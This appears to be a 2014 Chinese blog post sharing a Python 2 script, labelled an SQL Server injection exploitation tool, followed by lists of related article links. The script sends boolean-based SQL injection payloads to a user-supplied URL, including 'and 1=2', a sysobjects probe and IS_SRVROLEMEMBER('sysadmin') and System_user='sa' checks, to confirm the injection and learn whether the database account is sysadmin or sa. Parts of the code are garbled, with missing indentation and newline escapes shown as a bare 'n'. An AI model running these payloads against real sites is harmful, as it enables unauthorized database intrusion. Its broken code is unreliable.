Python编写检测数据库SA用户的方法


Posted in Python onJuly 11, 2014

本文讲述一个用Python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com  
#-*- coding: UTF-8 -*-  
from sys import exit  
from urllib import urlopen  
from string import join,strip  
from re import search  
 
def is_sqlable(): 
  sql1="%20and%201=2" 
  sql2="%20and%201=1" 
  urlfile1=urlopen(url+sql1) 
  urlfile2=urlopen(url+sql2) 
  htmlcodes1=urlfile1.read() 
  htmlcodes2=urlfile2.read() 
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
  print "[信息]恭喜!这个URL是有注入漏洞的!n" 
  print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."  
  is_SQLServer() 
  else: 
  print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer(): 
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  urlfile=urlopen(url+sql) 
  htmlcodes=urlfile.read() 
  if not search(judge,htmlcodes): 
  print "[错误]数据库好像不是SQL Server的!n" 
  else: 
  print "[信息]确认是SQL Server数据库!n" 
  print "[信息]开始检测当前数据库用户权限,请耐心等待......" 
  is_sysadmin() 
 
 
def is_sysadmin():  
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不具有sysadmin权限!n" 
  else:  
    print "[信息]当前数据库用户具有sysadmin权限!n" 
    print "[信息]检测当前用户是不是SA,请耐心等待......" 
    is_sa()  
 
def is_sa():  
  sql = "%20and%20'sa'=(select%20System_user)"; 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不是SA!n" 
  else:  
    print "[信息]当前数据库用户是SA!n" 
 
print "n########################################################################n"  
print "            ^o^SQL Server注入利用工具^o^     "  
print "           Email: little.bu@hotmail.comn"  
print "========================================================================";  
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')  
if url == '':  
  print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"  
  exit(1)  
 
judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")  
if judge == '':  
  print "[错误]判断字符串不能为空!"  
  exit(1)  
 
is_sqlable()
Python 相关文章推荐
python多线程操作实例
Nov 21 Python
python使用BeautifulSoup分页网页中超链接的方法
Apr 04 Python
分析Python中设计模式之Decorator装饰器模式的要点
Mar 02 Python
Django教程笔记之中间件middleware详解
Aug 01 Python
pygame游戏之旅 添加icon和bgm音效的方法
Nov 21 Python
python基于K-means聚类算法的图像分割
Oct 30 Python
Pytorch中膨胀卷积的用法详解
Jan 07 Python
解决python运行启动报错问题
Jun 01 Python
Python自动登录QQ的实现示例
Aug 28 Python
python实现AdaBoost算法的示例
Oct 03 Python
详解Python流程控制语句
Oct 28 Python
Python使用psutil库对系统数据进行采集监控的方法
Aug 23 Python
python实现的生成随机迷宫算法核心代码分享(含游戏完整代码)
Jul 11 #Python
python文件和目录操作函数小结
Jul 11 #Python
python实现的登陆Discuz!论坛通用代码分享
Jul 11 #Python
Python Socket编程入门教程
Jul 11 #Python
python使用正则搜索字符串或文件中的浮点数代码实例
Jul 11 #Python
Python实现的二维码生成小软件
Jul 11 #Python
让python同时兼容python2和python3的8个技巧分享
Jul 11 #Python
You might like
让PHP支持断点续传的源码
2010/05/16 PHP
PHP中的魔术方法总结和使用实例
2015/05/11 PHP
全面解读PHP的Yii框架中的日志功能
2016/03/17 PHP
php + WebUploader实现图片批量上传功能
2019/05/06 PHP
用javascript实现分割提取页面所需内容
2007/05/09 Javascript
javascript面向对象之Javascript 继承
2010/05/04 Javascript
如何让easyui gridview 宽度自适应窗口改变及fitColumns应用
2013/01/25 Javascript
jquery cookie实现的简单换肤功能适合小网站
2013/08/25 Javascript
js中定义一个变量并判断其是否为空的方法
2014/05/13 Javascript
jquery中append()与appendto()用法分析
2014/11/14 Javascript
JavaScript判断是否为数组的3种方法及效率比较
2015/04/01 Javascript
jquery实现简单的表单验证
2015/11/17 Javascript
详解springmvc 接收json对象的两种方式
2016/12/06 Javascript
jQuery实现的电子时钟效果完整示例
2018/04/28 jQuery
vue-rx的初步使用教程
2018/09/21 Javascript
JavaScript数据结构之栈实例用法
2019/01/18 Javascript
vue移动端屏幕适配详解
2019/04/30 Javascript
bootstrapValidator表单校验、更改状态、新增、移除校验字段的实例代码
2020/05/19 Javascript
使用Python多线程爬虫爬取电影天堂资源
2016/09/23 Python
Python入门之三角函数全解【收藏】
2017/11/08 Python
对numpy中数组元素的统一赋值实例
2018/04/04 Python
如何利用Python分析出微信朋友男女统计图
2019/01/25 Python
python语言基本语句用法总结
2019/06/11 Python
python实现简易学生信息管理系统
2020/04/05 Python
使用Python爬虫库requests发送表单数据和JSON数据
2020/01/25 Python
python的Jenkins接口调用方式
2020/05/12 Python
Pycharm连接gitlab实现过程图解
2020/09/01 Python
澳大利亚时尚前卫设计师珠宝在线:Amber Sceats
2017/10/04 全球购物
爱普生美国官网:Epson美国
2018/11/05 全球购物
什么是动态端口(Dynamic Ports)?动态端口的范围是多少?
2014/12/12 面试题
大学自我评价
2014/02/12 职场文书
本科生导师推荐信范文
2014/05/18 职场文书
事业单位考核材料
2014/05/21 职场文书
领导班子党的群众路线对照检查材料
2014/09/25 职场文书
学校党员个人问题整改措施思想汇报
2014/10/08 职场文书
2016年大学生实习单位评语
2015/12/01 职场文书